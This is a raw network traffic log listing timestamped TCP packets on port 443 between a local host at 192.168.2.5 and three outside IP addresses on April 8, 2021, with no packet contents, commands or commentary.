Apr 8, 2021 18:46:28.594152927 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.594165087 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.594201088 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.594223976 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.594238043 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.594248056 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.594266891 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.594310045 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.594455004 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.594471931 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.594504118 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.594536066 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.594544888 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.594566107 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.594592094 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.594621897 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.594655037 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.594691992 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.594700098 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.594707012 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.594736099 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.594758034 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.596601009 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.596682072 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.596716881 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.596735001 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.596757889 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.596772909 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.596774101 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.596791029 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.596807003 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.596811056 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.596865892 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.596895933 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.596941948 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.596993923 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.597037077 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.597043037 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.597084999 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.597264051 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.597326994 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.597490072 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.597508907 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.597563028 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.597749949 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.597807884 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.597816944 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.597865105 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.597948074 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.598028898 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.598104000 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.598131895 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.598160028 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.598191023 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.598241091 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.598290920 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.654719114 CEST	49723	443	192.168.2.5	195.201.225.248
Apr 8, 2021 18:46:28.677723885 CEST	443	49723	195.201.225.248	192.168.2.5
Apr 8, 2021 18:46:28.677963972 CEST	49723	443	192.168.2.5	195.201.225.248
Apr 8, 2021 18:46:28.678570032 CEST	49723	443	192.168.2.5	195.201.225.248
Apr 8, 2021 18:46:28.701957941 CEST	443	49723	195.201.225.248	192.168.2.5
Apr 8, 2021 18:46:28.704637051 CEST	443	49723	195.201.225.248	192.168.2.5
Apr 8, 2021 18:46:28.704714060 CEST	443	49723	195.201.225.248	192.168.2.5
Apr 8, 2021 18:46:28.704761028 CEST	443	49723	195.201.225.248	192.168.2.5
Apr 8, 2021 18:46:28.704826117 CEST	49723	443	192.168.2.5	195.201.225.248
Apr 8, 2021 18:46:28.710504055 CEST	49723	443	192.168.2.5	195.201.225.248
Apr 8, 2021 18:46:28.732275963 CEST	443	49723	195.201.225.248	192.168.2.5
Apr 8, 2021 18:46:28.737314939 CEST	49723	443	192.168.2.5	195.201.225.248
Apr 8, 2021 18:46:28.797646999 CEST	443	49723	195.201.225.248	192.168.2.5
Apr 8, 2021 18:46:28.803874969 CEST	443	49723	195.201.225.248	192.168.2.5
Apr 8, 2021 18:46:28.803942919 CEST	443	49723	195.201.225.248	192.168.2.5
Apr 8, 2021 18:46:28.803999901 CEST	443	49723	195.201.225.248	192.168.2.5
Apr 8, 2021 18:46:28.804040909 CEST	49723	443	192.168.2.5	195.201.225.248
Apr 8, 2021 18:46:28.804049969 CEST	443	49723	195.201.225.248	192.168.2.5
Apr 8, 2021 18:46:28.804127932 CEST	49723	443	192.168.2.5	195.201.225.248
Apr 8, 2021 18:46:33.822844982 CEST	49723	443	192.168.2.5	195.201.225.248
Apr 8, 2021 18:46:33.849910975 CEST	443	49723	195.201.225.248	192.168.2.5
Apr 8, 2021 18:46:33.915653944 CEST	443	49723	195.201.225.248	192.168.2.5
Apr 8, 2021 18:46:33.915694952 CEST	443	49723	195.201.225.248	192.168.2.5
Apr 8, 2021 18:46:33.915734053 CEST	443	49723	195.201.225.248	192.168.2.5
Apr 8, 2021 18:46:33.915779114 CEST	443	49723	195.201.225.248	192.168.2.5
Apr 8, 2021 18:46:33.915842056 CEST	49723	443	192.168.2.5	195.201.225.248
Apr 8, 2021 18:46:33.915947914 CEST	49723	443	192.168.2.5	195.201.225.248
Apr 8, 2021 18:46:34.136992931 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:34.155091047 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:34.155255079 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:34.156574011 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:34.174531937 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:34.178014040 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:34.178030968 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:34.178044081 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:34.178634882 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:34.185069084 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:34.213025093 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:34.218684912 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:34.218727112 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:34.240421057 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.023267031 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.036883116 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.094433069 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.635610104 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.635699987 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.635766029 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.635828972 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.635862112 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.635890961 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.635968924 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.635988951 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.636035919 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.636099100 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.636138916 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.636166096 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.636215925 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.636229038 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.641057014 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.654171944 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.654264927 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.654328108 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.654390097 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.654393911 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.654452085 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.654457092 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.654514074 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.654561996 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.654573917 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.654637098 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.654685020 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.654696941 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.654757977 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.654805899 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.654819012 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.654880047 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.654927015 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.654942989 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.655004025 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.655047894 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.655059099 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.674937963 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.675012112 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.675081968 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.675152063 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.675153017 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.675209045 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.675241947 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.675262928 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.675323963 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.675395012 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.675489902 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.675544024 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.675550938 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.675625086 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.675666094 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.675683022 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.675736904 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.675779104 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.675813913 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.675831079 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.675883055 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.675915956 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.675935030 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.675935030 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.675988913 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.676039934 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.676069021 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.676090956 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.676142931 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.676178932 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.676194906 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.676245928 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.676251888 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.676299095 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.676348925 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.676383972 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.676402092 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.676476002 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.676479101 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.712548971 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.712614059 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.712667942 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.712726116 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.712748051 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.712790012 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.712790966 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.712843895 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.712846041 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.712896109 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.712946892 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.712951899 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.713013887 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.713040113 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.713090897 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.713099003 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.713145018 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.713176012 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.713198900 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.713423014 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.739944935 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.740010977 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.740061998 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.740113974 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.740159988 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.740164995 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.740204096 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.740220070 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.740271091 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.740282059 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.740323067 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.740371943 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.740379095 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.740430117 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.740485907 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.740504026 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.740536928 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.740578890 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.740629911 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.740691900 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.740712881 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.740757942 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.740766048 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.740818024 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.740828037 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.740869999 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.740910053 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.740921974 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.740991116 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.741035938 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.741050959 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.741115093 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.741158009 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.741158962 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.741199017 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.741242886 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.741245985 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.741286993 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.741328001 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.741328955 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.741375923 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.741424084 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.741439104 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.741478920 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.741518974 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.741523981 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.741559029 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.741596937 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.741631031 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.741652966 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.741692066 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.741729975 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.741735935 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.741763115 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.741770029 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.741808891 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.741839886 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.741852045 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.741880894 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.741919994 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.741959095 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.741961956 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.741997004 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.741997957 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.742038012 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.742075920 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.742077112 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.742115021 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.742156029 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.742160082 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.745343924 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.745425940 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.745469093 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.745507002 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.745546103 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.745577097 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.760190010 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.760224104 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.760255098 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.760284901 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.760314941 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.760339975 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.760382891 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.760401011 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.760415077 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.760443926 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.760476112 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.760484934 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.760504961 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.760551929 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.760592937 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.760612011 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.760636091 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.760663033 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.760727882 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.809775114 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.809838057 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.809890032 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.809940100 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.809978008 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.810003996 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.810039043 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.810044050 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.810091019 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.810141087 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.810143948 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.810194969 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.810240030 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.810245037 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.810296059 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.810343027 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.810344934 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.810388088 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.810436964 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.810451984 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.810487032 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.810487032 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.810537100 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.810585976 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.810637951 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.810648918 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.810702085 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.810748100 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.810750961 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.810803890 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.810849905 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.810853004 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.810904026 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.810951948 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.810954094 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.811005116 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.811047077 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.811053038 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.811096907 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.811152935 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.811156034 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.811207056 CEST	443	49727	5.230.68.40	192.168.2.5
